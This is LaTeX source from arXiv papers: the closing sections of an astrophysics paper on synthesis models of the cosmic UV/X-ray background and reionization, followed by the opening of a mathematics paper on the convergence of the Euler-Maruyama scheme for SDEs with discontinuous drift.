is not accompanied by a similar increase at the \hbox{He~$\scriptstyle\rm II$}\ edge. The net effect is a larger \hbox{He~$\scriptstyle\rm II$}\ opacity at fixed \hbox{H~$\scriptstyle\rm I$}\ opacity.
At $z\mathrel{\spose{\lower 3pt\hbox{$\mathchar"218$} 5$, the \hbox{He~$\scriptstyle\rm I$}\ opacity of the IGM also starts building up (it is negligible at lower redshifts), and a small \hbox{He~$\scriptstyle\rm I$}\ absorption edge
can be discerned in the spectrum of the background at 24.6 eV. At $z\mathrel{\spose{\lower 3pt\hbox{$\mathchar"218$} 3$, the sawtooth modulation produced by resonant absorption in the Lyman
series of intergalactic \hbox{He~$\scriptstyle\rm II$}\ (see Fig. \ref{fig11}) is clearly a sensitive probe of the nature of the sources that keep the IGM ionized, and may
be a crucial ingredients in the modelling of the abundances of metal absorption systems (Madau \& Haardt 2009). The analogous sawtooth modulation
produced by the \hbox{H~$\scriptstyle\rm I$}\ Lyman series becomes significant above redshift 6 (see Fig. \ref{fig12}), and may affect the photodissociation of molecular hydrogen
during cosmological reionization (Haiman, Rees, \& Loeb 1997).
Figure \ref{fig13} compares the broadband spectrum of the total extragalactic background light (EBL) from quasars and galaxies, predicted by CUBA at $z=0$,
with current EBL observations from the mid-IR to the $\gamma$-rays.
\begin{figure*}[thb]
\centering
\includegraphics*[width=0.9\textwidth]{fig11.ps}
\vspace{-0.3cm}
\caption{\footnotesize A zoom-in of the ``quasars $+$ galaxies" ({\it black curves}) and ``quasar-only" ({\it red curves})
cosmic background spectrum at redshifts $z=3,3.4,4.1,$ and 4.6 showing the sawtooth modulation of the metagalactic
flux between 220 and 320 \AA\ produced by resonant absorption in the Lyman series of intergalactic \hbox{He~$\scriptstyle\rm II$}.
The vertical thin lines indicate the positions of the \hbox{He~$\scriptstyle\rm II$}\ Ly$\alpha$\ and Lyman limit.
}
\vspace{+0.3cm}
\label{fig11}
\end{figure*}
\begin{figure*}[thb]
\centering
\includegraphics*[width=0.9\textwidth]{fig12.ps}
\vspace{-0.3cm}
\caption{\footnotesize A zoom-in of the ``quasars $+$ galaxies" cosmic background spectrum at redshifts $z=5.2,6.1,7.2,$ and 8.0 showing the sawtooth modulation
of the metagalactic flux between and 890 and 1300 \AA\ produced by resonant absorption in the Lyman series of intergalactic \hbox{H~$\scriptstyle\rm I$}.
The vertical thin lines indicate the positions of the \hbox{H~$\scriptstyle\rm I$}\ Ly$\alpha$\ and Lyman limit. The dashed line shows the same spectrum
without sawtooth for comparison.
}
\vspace{+0.3cm}
\label{fig12}
\end{figure*}
\begin{figure}[thb]
\centering
\includegraphics*[width=0.7\textwidth]{fig13.ps}
\vspace{+0.cm}
\caption{\footnotesize
The predicted broadband extragalactic background light, $\nu J_\nu$, from quasars and galaxies at $z=0$, compared with empirical determinations
at different wavelengths. {\it Red points:} the optical-near IR EBL from {\it HST} and ground-based galaxy counts (Madau \& Pozzetti 2000). {\it Blue
points}: the mid-IR EBL from IRAC-{\it Spitzer} galaxy counts (Fazio {et al.\ } 2004). The X-ray data points are explained in details in the caption of Fig.
\ref{fig6}.}
\vspace{+0.5cm}
\label{fig13}
\end{figure}
\subsection{A ``minimal reionization model"}
It is interesting at this stage to use the quasar and galaxy ionizing emissivities of \S~6, 7, and 8
and track the evolution of the volume filling factors of ionized hydrogen and doubly ionized helium regions in the
universe as a function of cosmic time. As shown in Paper III, the volume filling factor of \hbox{H~$\scriptstyle\rm II$}\ regions, $Q_{\rm HII}$,
is equal at any given instant $t$ to the integral over cosmic time of the number ionizing photons emitted per hydrogen
atom by all radiation sources present at earlier epochs,
\begin{equation}
{\cal I}=\int_0^t dt'\,{\dot n_{\rm ion}(t')\over \langle n_{\rm H}(t')\rangle}
\end{equation}
minus the number of radiative recombinations per ionized hydrogen atom,
\begin{equation}
{\cal R}=\int_0^t {dt'\over \langle t_{\rm rec}(t') \rangle} Q_{\rm HII}(t').
\end{equation}
Here
\begin{equation}
\dot n_{\rm ion}(t)=\int_{\nu_L}^\infty \langle f_{\rm esc}\rangle {d\nu\over h\nu} \epsilon_\nu(t)
\end{equation}
with $\langle f_{\rm esc}\rangle=1$ in the case of quasars, $\langle n_{\rm H}\rangle=1.9\times 10^{-7}(1+z)^3$ cm$^{-3}$ is
the mean hydrogen density of the expanding IGM, and
$\langle t_{\rm rec}\rangle$ is the volume-averaged hydrogen recombination timescale,
\begin{equation}
\langle t_{\rm rec}\rangle=[\chi \langle n_{\rm H}\rangle \alpha_B\,C]^{-1},
\label{eq:trec}
\end{equation}
where $\alpha_B$ is the recombination coefficient to the excited states of hydrogen, $\chi=1.08$ accounts for the presence of
photoelectrons from singly ionized helium, and $C_{\rm IGM}\equiv \langle n_{\rm HII}^2\rangle/\langle n_{\rm HII}\rangle^2$ is the clumping factor of ionized
hydrogen. Differentiation yields the \hbox{H~$\scriptstyle\rm I$}\ ``reionization equation" of Paper III,
\begin{equation}
{dQ_{\rm HII}\over dt}={\dot n_{\rm ion}\over \langle n_{\rm H} \rangle} -{Q_{\rm HII}\over
\langle t_{\rm rec}\rangle},
\label{eq:qdot}
\end{equation}
and its equivalent for expanding \hbox{He~$\scriptstyle\rm III$}\ regions,
\begin{equation}
{dQ_{\rm HeIII}\over dt}={\dot n_{\rm ion,4}\over \langle n_{\rm He} \rangle} -{Q_{\rm HeIII}\over
\langle t_{\rm rec,He}\rangle},
\label{eq:qHedot}
\end{equation}
where $\dot n_{\rm ion,4}$ now includes only photons above 4 ryd (which are mostly absorbed by \hbox{He~$\scriptstyle\rm II$}),
and the recombination timescale of doubly ionized helium, $\langle t_{\rm rec,He}\rangle$, is the about 6 times shorter than the hydrogen recombination
timescale if \hbox{H~$\scriptstyle\rm II$}\ and \hbox{He~$\scriptstyle\rm III$}\ have similar clumping
factors. We will not attempt here to model the reionization of \hbox{He~$\scriptstyle\rm I$}, as this occurs nearly simultaneously to and cannot be readily decoupled from that of \hbox{H~$\scriptstyle\rm I$}.
The reionization equation equation:
1) describes the transition from a neutral universe to a fully ionized one in a statistical way, independently, for a given emissivity,
of the emission histories of individual radiation sources;
2) assumes that the mean free path of ionizing photons is much smaller than the horizon, i.e., that they are absorbed before being redshifted
below the ionization edge; and
3) includes in the source term only those photons above the Lyman limit that escape into the IGM ($\langle f_{\rm esc}\rangle=1$ in the
case of quasars). Photons that are absorbed in loco by dense interstellar gas do not enter in the source term, nor does
the interstellar absorbing material contribute to the recombination rate. The volume-weighted clumping factor reflects only the nonuniformity of the
ionized low-density IGM, the repository of most of the baryons in the universe, and its use in the recombination timescale is justified
when the size of the ionized regions is large compared to the scale of the clumping.
When $Q_{\rm HII}\ll 1$ (the ``pre-overlap" stage), individual ionization fronts propagate from star-forming early galaxies into the low-density IGM. The neutral
phase shrinks as $Q_{\rm HII}$ grows and \hbox{H~$\scriptstyle\rm II$}\ regions start to overlap. The radiation field remains highly inhomogeneous until the reionization process is
completed at the ``overlap epoch", $Q_{\rm HII}=1$, when all the low-density IGM becomes highly ionized. Pockets of neutral gas remain in collapsed systems
during the entire ``post-overlap" stage (Gnedin 2000) and may manifest themselves as the SLLSs or DLA systems in quasar absorption spectra. We have
integrated equation (\ref{eq:qdot}) assuming a gas temperature of $2\times 10^4$ K and a clumping factor for the intergalactic medium of
\begin{equation}
C_{\rm IGM}=1+43\,z^{-1.71}.
\label{eq:Cigm}
\end{equation}
This is equal to the expression for $C_{100}$ (the clumping factor of gas below a threshold overdensity of 100) found at $z\ge 6$ in a suite of
cosmological hydrodynamical simulations by Pawlik, Schaye, and van Scherpenzeel (2009). These authors found that photoionization heating by a uniform
UV background greatly reduces clumping as it smoothes out small-scale density fluctuations, and that the clumping factor at $z=6$ is insensitive to
the redshift at which the UV background is actually turned on (as long as reheating occurs at $\mathrel{\spose{\lower 3pt\hbox{$\mathchar"218$} 9$). We use an overdensity of 100 to differentiate between
dense gas belonging to virialized halos and the diffuse intergalactic gas, and assume that the collapsed mass fraction is small.
We also extrapolate equation (\ref{eq:Cigm}) down to $z\mathrel{\spose{\lower 3pt\hbox{$\mathchar"218$} 2$, and assume the same clumping factor for \hbox{H~$\scriptstyle\rm II$}\ and \hbox{He~$\scriptstyle\rm III$}.
The results of this ``minimal reionization model" are shown in Figure \ref{fig14}. Cosmological \hbox{H~$\scriptstyle\rm II$}\ regions driven by star-forming galaxies
overlap at redshift 6.7, and the hydrogen in the universe is half-ionized (by volume) at redshift 10. \hbox{He~$\scriptstyle\rm III$}\ regions driven by
quasars overlap much later, at redshift 2.8, and their filling factor is only 4\% at redshift 5. These overlap epochs are
consistent with the SDSS spectra of $z\sim 6$ quasars (Fan {et al.\ } 2006b), with numerical simulations of \hbox{H~$\scriptstyle\rm I$}\ reionization (Gnedin \& Fan 2006), and
with observations of the \hbox{He~$\scriptstyle\rm II$}\ Ly$\alpha$\ forest at $z\mathrel{\spose{\lower 3pt\hbox{$\mathchar"218$} 3$ (see, e.g., Worseck {et al.\ } 2011; Shull {et al.\ } 2010; Fechner {et al.\ } 2006; Heap {et al.\ } 2000;
and references therein).
A simple probe of the reionization history is the integrated optical depth to electron scattering $\tau_{\rm es}$, which depends on the
path length through ionized gas along the line of sight to the CMB as
\begin{equation}
\tau_{\rm es}(z)=\sigma_T c \int_0^{z} {dz'\over H(1+z')}[Q_{\rm HII} \langle n_{\rm H}\rangle +Q_{\rm HeII} \langle n_{\rm He}\rangle +2Q_{\rm HeIII} \langle n_{\rm He} \rangle]
\label{eq:taues}
\end{equation}
(Wyithe \& Loeb 2003),
where $\sigma_T$ is the Thomson cross section. The seven-year {\it WMAP} results imply $\tau_{\rm es}=0.088\pm 0.015$ (Jarosik {et al.\ } 2011).
Our minimal reionization model assumes $Q_{\rm HeII}=Q_{\rm HII}$ and yields an electron scattering opacity to the epoch of reionization of $\tau_{\rm es}=0.084$, in
good agreement with the observations.
The outcome of our minimal reionization model is rather sensitive to the assumed escape fraction of hydrogen-ionizing radiation at early epochs; this
exceeds 50\% at $z\mathrel{\spose{\lower 3pt\hbox{$\mathchar"218$} 9$ and reaches unity at $z=11.6$. Had we assumed a maximum $f_{\rm esc}$ of 50\% instead, the same model would
yield $Q_{\rm HI}=1$ at $z=6.2$ and $\tau_{\rm es}=0.06$. We also remark that, in the pre-overlap era, the background spectra shown in Figures \ref{fig9},
\ref{fig10}, \ref{fig11}, and \ref{fig12} have only a formal meaning, as they describe a space-averaged radiation field that is in reality highly inhomogeneous.
Recent spectra taken by the Cosmic Origins Spectrograph on the {\it Hubble Space Telescope} exhibit patchy \hbox{He~$\scriptstyle\rm II$}\ Gunn-Peterson absorption,
with a mean \hbox{He~$\scriptstyle\rm II$}/\hbox{H~$\scriptstyle\rm I$}\ abundance ratio that is $47\pm 42$ at $2.4<z<2.73$, and $209\pm 281$ at $z>2.73$ (Shull {et al.\ } 2010). In the redshift interval
$2.4<z<2.73$, our background spectrum yields a \hbox{He~$\scriptstyle\rm II$}/\hbox{H~$\scriptstyle\rm I$}\ abundance ratio (in the optically thin limit) around 50--70, in good agreement with the
observations. The predicted
mean \hbox{He~$\scriptstyle\rm II$}/\hbox{H~$\scriptstyle\rm I$}\ ratio increases rapidly towards high redshift, to $(280,494,887,1615)$ at $z=(3.42,3.64,3.87,4.1)$ as galaxies start dominating the ionizing
emissivity and the spectrum of the UVB steepens. The evolution of the \hbox{He~$\scriptstyle\rm II$}\ abundance and the fluctuating spectrum of the cosmic UVB in the pre-overlap
era will be the subject of a subsequent paper.
\begin{figure*}[thb]
\centering
\includegraphics*[width=0.47\textwidth]{fig14a.ps}
\includegraphics*[width=0.47\textwidth]{fig14b.ps}
\vspace{-0.3cm}
\caption{\footnotesize Evolution of the \hbox{H~$\scriptstyle\rm II$}\ ({\it left panel}) and \hbox{He~$\scriptstyle\rm III$}\ ({\it right panel}) filling factors as a function of redshft
for our ``minimal reionization model" (see text for details). The dotted curve in the left panel depicts the cumulative electron scattering optical
depth of the universe, in units of 10\%, as a function of redshift.
}
\vspace{+0.cm}
\label{fig14}
\end{figure*}
\subsection{The UVB: uncertainties}
The background spectra computed in the previous section are sensitive to a number of poorly determined input parameters.
In this section we briefly discuss just a few of the uncertainties inherent in our synthesis modelling of the UVB. The left panel of Figure
\ref{fig15}
shows the adopted comoving quasar emissivity at 1 Ryd (eq. \ref{eqemiss}), together with the determinations by Meiksin (2005),
Cowie, Barger, \& Trouille (2009), Bongiorno {et al.\ } (2007), Willott {et al.\ } (2010), and Siana {et al.\ } (2008).
The poorly known faint-end slope of the quasar luminosity function at high redshift, incompleteness corrections,
as well as the uncertain spectral energy distribution (SED) in the UV, all contribute to the large apparent discrepancies between
different measurements.
\begin{figure}[thb]
\centering
\includegraphics*[width=0.47\textwidth]{fig15a.ps}
\includegraphics*[width=0.47\textwidth]{fig15b.ps}
\caption{\footnotesize {\it Left:} Comoving specific emissivity at 1 ryd (in units of $10^{23}\,\,{\rm ergs\,s^{-1}\,Mpc^{-3}\,Hz^{-1}}$)
measured from different quasar surveys. {\it Solid line:} the best-fit function in eq. (\ref{eqemiss}).
{\it Dashed line:} Cowie {et al.\ } (2009). {\it Dot-dashed line:} Bongiorno {et al.\ } (2007), using a 912 \AA\ to 4400 \AA\ flux ratio of 0.31.
{\it Filled circles:} Meiksin (2005), PLE model. {\it Empy circles:} Meiksin (2005), PDE model. {\it Empty star:} Siana {et al.\ } (2008).
{\it Filled square}: Willott {et al.\ } (2010) at $z=6$.
{\it Right:} Comoving galaxy emissivity per logarithmic bandwidth (in units of $10^{39}$ ergs s$^{-1}$ Mpc$^{-3}$) escaping into the IGM,
as a function of photon energy, at four different redshifts. Note the large, time-evolving break at 13.6 eV.
}
\label{fig15}
\vspace{+0.5cm}
\end{figure}
The escape fraction of ionizing radiation that leaks into the IGM and its unknown redshift evolution is the major source of uncertainty in the
determination of the galaxy contribution to the UVB. To better gauge the impact of this parameter on our synthesis model, we show
in the right panel of Figure \ref{fig15} the spectrum of the comoving galaxy emissivity at four different epochs. The relatively large
leakage of LyC photons assumed at early times is a crucial ingredient of our ``minimal reionization model", which yields
an optical depth to Thomson scattering in agreement with {\it WMAP} results. A smaller escape fraction at high redshifts would lead to too-late
reionization, while a significantly larger escape fraction at lower redshifts would produce a hydrogen photoionization rate that appears to
be too high compared to the observations (see Fig. \ref{fig8}).
We have also checked that, for a given IMF, uncertainties in the stellar population synthesis technique are relatively small.
Figure \ref{fig16} shows the emission rate of hydrogen-ionizing photons for an SSP, calculated as a
funtion of age with the GALAXEV models of Bruzual \& Charlot (2003), the Starburst99 models of Leitherer {et al.\ } (1999), and the
FSPS models of Conroy, Gunn, \& White (2009). While the three packages use different stellar evolution tracks and
spectral libraries, the total number of ionizing photons emitted agrees to within 10\%. The figure also illustrates the significant
effect of stellar metallicity: an SSP of metallicity 1/50 of solar emits 60\% more hydrogen-ionizing
photons over its lifetime than a solar metallicity SSP (Salpeter IMF, GALAXEV package).
Finally, we address the effect of a change in the effective opacity of the IGM. In our parameterization,
the shape of the $f(N_{\rm HI},z)$ distribution over the column density range of the LLSs is adjusted at every redshift
for continuity with the SLLSs. As detailed in \S\,3, this procedure yields the slopes $\beta=0.47,0.61,0.72,0.82$ at
redshifts $z=2,3,4,5$, respectively. To gauge how an uncertainty in $f(N_{\rm HI})$ translates into an uncertainty in
the UVB, we have run CUBA with the fixed values of $\beta=0.2$ and $\beta=1$ in the column density
interval $10^{17.5}<N_{\rm HI}<10^{19}\,\,{\rm cm^{-2}}$. The resulting UVB at $z=3$ is shown in the right panel of Figure \ref{fig16}.
Compared to our fiducial model, the flat $\beta=0.2$ distribution generates a hydrogen photoionization rate ($\Gamma_{\rm HI}$) that
is 29\% lower, and a \hbox{He~$\scriptstyle\rm II$}\ photoionization rate ($\Gamma_{\rm HeII}$) that is 22\% higher. This is because a larger opacity at 1 Ryd
from the LSSs results in a harder background spectrum, which in turn produces a smaller \hbox{He~$\scriptstyle\rm II$}\ opacity at 4 Ryd.
Conversely, in the steep $\beta=1$ case, $\Gamma_{\rm HI}$ increases by 8\% and $\Gamma_{\rm HeII}$ decreases by 10\%.
Notice, however, that the former model would significantly underestimate the 1 Ryd photon mean free path
compared to the measurements of Prochaska {et al.\ } (2009).
\begin{figure}[thb]
\centering
\includegraphics*[width=0.47\textwidth]{fig16a.ps}
\includegraphics*[width=0.47\textwidth]{fig16b.ps}
\caption{\footnotesize {\it Left:} Emission rate of hydrogen-ionizing photons for a SSP of total mass $1\,\,{\rm M_\odot}$, Salpeter IMF,
and solar metallicity, as a function of age. {\it Solid line:} results from the GALAXEV package of Bruzual \& Charlot (2003). {\it Long-dashed
line:} same for Starburst99 (Leitherer {et al.\ } 1999). {\it Short-dashed line:} same for the FSPS package of Conroy {et al.\ } (2009).
{\it Dotted line:} same as the solid line, but for a metallicity 1/50 of solar.
{\it Right:} Uncertainties in the broadband spectrum of the ``quasars $+$ galaxies" UVB at redshift 3. {\it Black line:} our fiducial model.
{\it Green line:} a model with a slope of $\beta=0.2$ in the column density distribution of LLSs.
{\it Red line:} same for $\beta=1.0$. The intensity $J_\nu$ is expressed in units of $10^{-22}\,\,{\rm ergs\,cm^{-2}\,s^{-1}\,Hz^{-1}\,sr^{-1}}$.
}
\label{fig16}
\vspace{+0.5cm}
\end{figure}
\section{Summary}
In this paper we have presented improved synthesis models of the evolving spectrum of the UV/X-ray diffuse
background, updating and extending our previous results. Five new main components have been added to our
cosmological radiative transfer code CUBA and discusses in details: (1) the sawtooth modulation of the background intensity
from resonant line absorption in the Lyman series of cosmic hydrogen and helium; (2) the X-ray
emission from the obscured and unobscured quasars that gives origin to the X-ray background; (3)
a piecewise parameterization of the distribution in redshift and column density of intergalactic
absorbers that fits recent measurements of the mean free path of 1 ryd photons; (4) an accurate
treatment of the absorber photoionization structure, which enters in the calculation of the
helium continuum opacity and recombination emissivity; and (5) the UV emission from star-forming
galaxies at all redshifts. The full implications of our new population synthesis models for the
thermodynamics and ionization state of the Ly$\alpha$\ forest and metal absorbers will be addressed in a subsequent paper.
Here we have provided tables of the predicted \hbox{H~$\scriptstyle\rm I$}\ and \hbox{He~$\scriptstyle\rm II$}\ photoionization and photoheating rates for use, e.g.,
in cosmological hydrodynamics simulations of the Ly$\alpha$\ forest, a new metallicity-dependent calibration to the
UV luminosity density-star formation rate density relation,
and presented a ``minimal cosmic reionization model" in which the galaxy UV emissivity traces recent determinations of the
cosmic history of star formation, the luminosity-weighted escape fraction of hydrogen-ionizing radiation increases
rapidly with lookback time, the clumping factor of the high-redshift intergalactic medium follows recent determinations
of hydrodynamic simulations that include the effect of photoionization heating,
and Population III stars and miniquasars make a negligible contribution to the metagalactic flux. The model has been shown
to provide a good fit to the hydrogen-ionization rates inferred from flux decrement and quasar proximity effect measurements, to predict that
cosmological \hbox{H~$\scriptstyle\rm II$}\ (\hbox{He~$\scriptstyle\rm III$}) regions overlap at redshift 6.7 (2.8), and to yield an optical depth to Thomson
scattering, $\tau_{\rm es}=0.084$ that is agreement with {\it WMAP} results.
Our new background intensities and spectra are sensitive to a
number of poorly determined input parameters and suffer from various degeneracies. Their predictive power should be constantly
tested against new observations. We are therefore making our redshift-dependent UV/X emissivities
and CUBA outputs freely available for public use at \url{http://www.ucolick.org/~pmadau/CUBA}.
\acknowledgments
\noindent We have benefited from many informative discussions with A. Boksenberg, S. Charlot, A. Comastri, C.-A. Faucher-Gigu\`ere, M. McQuinn,
J. Prochaska, C. Scarlata, and G. Worseck. Support for this work was provided by NASA through grant NNX09AJ34G and by the NSF through
grant AST-0908910 to PM, and by the MIUR, PRIN 2007 to FH.
|
1,477,468,750,062 | arxiv | \section{Introduction and Main Results}
Let $(\Omega, {\cal F}, ({\cal F}_t)_{t\in[0,T]}, \P)$ be a filtered probability space, where the filtration satisfies the usual conditions
and let $W=(W_t)_{t \in [0,T]}$ be a standard Brownian motion adapted to $({\cal F}_t)_{t\in[0,T]}$.
We consider It\={o}{}-stochastic differential equations (SDEs) of the form
\begin{align}\label{eq:sde}
X_t=\xi+\int_0^t \mu(X_s) ds + W_t, \quad t \in[0,T],
\end{align}
where $T\in(0,\infty)$, the drift coefficient $\mu\colon{\mathbb{R}} \rightarrow {\mathbb{R}}$ is measurable and bounded, and the initial condition $\xi$ is independent of $W$.
Existence and uniqueness of a strong solution $X=(X_t)_{t\in[0,T]}$ to \eqref{eq:sde} is provided, e.g., in \cite{zvonkin1974}.
For $n\in{\mathbb{N}}$ let $x^{(\pi_n)}=(x^{(\pi_n)}_t)_{t\in[0,T]}$ be the continuous-time Euler-Maruyama (EM) scheme
based on the discretization $$\pi_n=\{t_0, t_1, \ldots, t_n \} \qquad \textrm{with} \qquad
0=t_0 <t_1 < \ldots < t_n=T,$$ i.e.
\begin{align} x_t^{(\pi_n)}=\xi + \int_0^t \mu(x_{{\underline{s}}}^{(\pi_n)}) ds + W_t, \qquad t \in [0,T], \label{euler} \end{align}
where
$ {\underline{t}}=\max \{t_{k}: \, t_{k} \leq t \}$.
Our goal is to analyse the $L^2$-approximation error at the discretization points $t_k$, that is
\begin{align} \max_{k\in\{0, \ldots, n\}} \left( {\mathbb{E}} \left[ \left|X_{t_k}-x_{t_k}^{(\pi_n)} \right|^2\right] \right)^{\!1/2}, \label{L2-error}
\end{align}
and in particular its dependence on $n$, i.e.~the scheme's convergence order. For this, we will study the time-continuous EM scheme and
\begin{align} \sup_{t \in [0,T]} \left( {\mathbb{E}} \left[ \left|X_{t}-x_{t}^{(\pi_n)} \right|^2\right] \right)^{\!1/2},
\end{align}
which yields an upper bound for \eqref{L2-error}.
The error analysis of EM-type schemes for SDEs with discontinuous drift coefficient has become -- after two pioneering articles by \citet{gyongy1998} and \citet{halidias2008} -- a topic of growing interest in the recent years.
Articles which explicitly deal with the EM scheme for SDEs with irregular drift coefficients and additive noise are
\cite{halidias2008,lux,MENOUKEUPAMEN,gerencser2018}. Here, the best known results are from \citet{gerencser2018}: $L^2$-order $1/2-\epsilon$ for arbitrarily small $\epsilon>0$ is obtained for bounded and Dini-continuous drift coefficients for $d$-dimensional SDEs, while in the scalar case one has $L^2$-order $1/2-\epsilon$ even for drift coefficients, which are only bounded and integrable over $\mathbb{R}$.
For approximation results on SDEs with discontinuous drift coefficients and non-additive noise
see, e.g., \cite{sz15,ngo2016,sz2017a,ngo2017a,ngo2017b,sz2018a, sz2018b, muellergronbach2019}.
The best known results for EM schemes in this framework are
$L^2$-order $1/2-\epsilon$ of an EM scheme with adaptive time-stepping for multidimensional SDEs with piecewise Lipschitz drift and possibly degenerate diffusion coefficient, see \citet{sz2018b}, and
$L^p$-order $1/2$ of the EM scheme for scalar SDEs with piecewise Lipschitz drift and possibly degenerate diffusion coefficient, see \citet{muellergronbach2019}.
Recently, also a transformation-based Milstein-type scheme has been analyzed for scalar SDEs by \citet{muellergronbach2019b}. They obtain $L^p$-order $3/4$ for drift coefficients, which are piecewise Lipschitz with piecewise Lipschitz derivative, and possibly degenerate diffusion coefficient.
Lower error bounds for the strong approximation of scalar SDEs with possibly discontinuous drift coefficients have been studied in \citet{hefter2018}. Assuming smoothness of the coefficients only locally in a small neighbourhood of the initial value, the authors obtain for arbitrary methods that use a finite number of evaluations of the driving Brownian motion a lower error bound of order one for the pointwise $L^1$-error. Lower bounds will be also addressed in a forthcoming work by \citet{muellergronbach2020}.
\smallskip
We will spell out a general framework for the analysis of the scheme \eqref{euler} for the SDE \eqref{eq:sde} under the following assumptions:
\begin{assumption}\label{ass} \quad Assume that $\mu : \mathbb{R} \rightarrow \mathbb{R}$ with $\mu \neq 0$ can be decomposed into a regular and an irregular part $a, b\colon \mathbb{R} \rightarrow \mathbb{R}$, that is $\mu=a+b$, such that:
\begin{enumerate}
\item\label{ass-bd} (boundedness) \, $a, b: \mathbb{R} \rightarrow \mathbb{R}$ are bounded,
\item\label{ass-a} (regular part) \,\ $a \in C_b^2( \mathbb{R})$, i.e.~$a$ is twice continuously differentiable with bounded derivatives,
\item\label{ass-bl1} (irregular part) \,$b \in L^1(\mathbb{R})$.
\end{enumerate} Moreover, we assume that
\begin{enumerate}
\item[(iv)] \label{ass-anfang} (initial value) \, $\xi \in L^2(\Omega, \mathcal{F}_0, \P)$.
\end{enumerate}
\end{assumption}
\begin{assumption}\label{ass_b} \quad
There exists $\kappa \in (0,1)$ such that
$$ |b|_{\kappa}:= \left( \int_{\mathbb{R}} \int_{\mathbb{R}} \frac{|b(x)-b(y)|^2}{|x-y|^{2 \kappa + 1}} \; dx \; dy \right)^{1/2}< \infty.$$
\end{assumption}
We call $|\cdot|_\kappa$ Sobolev-Slobodeckij semi-norm. Note that the decomposition of $\mu$ is only required for the error analysis and not for the actual implementation of the scheme.
\medskip
Assumption \ref{ass} is required for our perturbation analysis, where we use a suitable transformation of the state space and a Girsanov transform to show that for all $\varepsilon\in(0,1)$ there exists a constant $C^{(R)}_{\varepsilon, a,b,T}>0$ such that
\begin{align} \label{intro-Pertub} \sup_{t \in [0,T]} {\mathbb{E}} \left[ \left|X_t-x_t^{(\pi_n)} \right|^2\right] \leq C^{(R)}_{\varepsilon, a,b,T} \cdot \left( \|\pi_n\|^2 + \sup_{t \in [0,T]}|\mathcal{W}_t^{(\pi_n)}|^{1-\varepsilon} \right), \end{align}
where
$$ \|\pi_n\|:=\max_{k= 0,\dots,n-1}|t_{k+1}-t_k| $$
and
\begin{align}
\mathcal{W}^{(\pi_n)}_{t} &= {\mathbb{E}}\!\left[ \left| \int_{0}^{t} \exp\left(-2\int_0^{W_s+\xi} b(z)dz \right) \left[b(W_s+\xi)- b(W_{{\underline{s}}}+\xi)\right] ds \right|^2\right], \quad t \in [0,T],
\end{align}
see Theorem \ref{main_1}. The term $\mathcal{W}^{(\pi_n)}_t$ corresponds to the error of a quadrature problem, see Remark \ref{quad_rem}.
We would like to point out that
\begin{itemize}
\item this result provides a unifying general framework for the error analysis of the Euler-Maruyama scheme for SDEs with additive noise,
\item which can be used to analyse the convergence behaviour of the Euler-Maruyama scheme under very general assumptions on the drift coefficient by various means for various discretizations.
\end{itemize}
We assume Sobolev-Slobodeckij regularity of order $\kappa \in (0,1)$ for $b$, i.e. Assumption \ref{ass_b}, and estimate $\mathcal{W}^{(\pi_n)}$ for two different discretizations. For
an equidistant discretization $\pi_n^{equi}$ given by
$$ t_k^{equi}= T \frac{k}{n}, \qquad k=0, \ldots, n,$$
we obtain that $\mathcal{W}^{(\pi_n^{equi})}_t$ is of order $\min\{3/2,1+\kappa\}$ uniformly in $t \in [0,T]$
and consequently we have
\begin{align} \label{eb-intro-1}
\sup_{t \in [0,T]} \left( {\mathbb{E}}\! \left[ \left|X_t-x_t^{(\pi_n^{equi})} \right|^2\right] \right)^{\!1/2} \leq C^{(EM),equi}_{\epsilon, \mu,T,\kappa} \cdot \left( \frac{1}{n^{(1+\kappa)/2-\epsilon}} + \frac{1}{n^{3/4-\epsilon}} \right)
\end{align}
for $\epsilon >0$ arbitrarily small and a constant $C^{(EM),equi}_{\epsilon, \mu,T,\kappa}>0$, independent of $n$, see Theorem \ref{main_2} and
Corollary \ref{cor_em}.
To overcome the cut-off of the convergence order for $\kappa=1/2$, we use a non-equidistant discretization $\pi_n^{*}$ given by
$$
t_k^*=T \left(\frac{k}{n}\right)^{\!2}, \qquad k=0, \ldots, n. $$
Similar non-equidistant nets have been used, e.g., in \cite{lyons} to deal with weak error estimates for non-smooth functionals and in \cite{geiss} to deal with hedging errors in the presence of non-smooth pay-offs. We obtain that $\mathcal{W}^{(\pi_n^*)}_t$ is up to a log-term of order $1+\kappa$ uniformly in $t \in [0,T]$ and therefore we have
\begin{align} \label{eb-intro-2} \sup_{t \in [0,T]} \left( {\mathbb{E}}\! \left[ \left|X_t-x_t^{(\pi_n^{*})} \right|^2\right]\right)^{\!1/2} \leq C^{(EM),*}_{\epsilon, \mu,T,\kappa} \cdot \frac{1}{n^{(1+\kappa)/2-\epsilon}} \end{align}
for $\epsilon >0$ arbitrarily small and a constant $C^{(EM),*}_{\epsilon, \mu,T,\kappa}>0$, independent of $n$, see Theorem \ref{main_2} and
Corollary \ref{cor_em}.
\begin{remark}
\begin{enumerate}[(i)]
\item Our set-up covers a wide range of irregular perturbations. In particular, the use of Sobolev-Slobodeckij regularity
allows to study irregular parts $b$ that are discontinuous. Examples include indicator functions with compact support or, more generally, piecewise H\"older continuous functions
with compact support. In the former case one has Sobolev-Slobodeckij regularity of all orders $\kappa <1/2$, while for
piecewise $\gamma$-H\"older continuous functions
with compact support one has Sobolev-Slobodeckij regularity of all orders $\kappa < \min \{ 1/2, \gamma\}.$
Moreover functions, which are $\gamma$-H\"older continuous and have compact support, have Sobolev-Slobodeckij regularity of all orders $\kappa < \gamma$.
Note that Assumptions 1.1 and 1.2 imply that $b \in H^{\kappa}_{2}$, where $H^s_p$ with $s\in(0,\infty)$, $p\in[1,\infty)$ denotes the classical fractional Sobolev space, see, e.g., \cite{Sickel}.
Working in $H^{s}_{p}$ or in the Besov space $B^{s}_{p,q}$, where $q\in[1,\infty)$, could help to clarify the phenomenon why the same convergence order $3/4-\epsilon$ is
obtained
for $\gamma$-H\"older continuous drift coefficients with $\gamma=1/2$ and for indicator functions as drift.
\item Our assumptions cover also step functions as drift, i.e.
\begin{align} \label{step} \mu(x)=\sum_{\ell=1}^{L} \gamma_{\ell} \cdot \operatorname{sign}(x-x_i), \qquad x \in \mathbb{R}, \end{align}
with $L\in{\mathbb{N}}$, $\gamma_{1}, \ldots, \gamma_{L} \in \mathbb{R}$, and $-\infty <x_1 <x_2 < \ldots < x_L<\infty$.
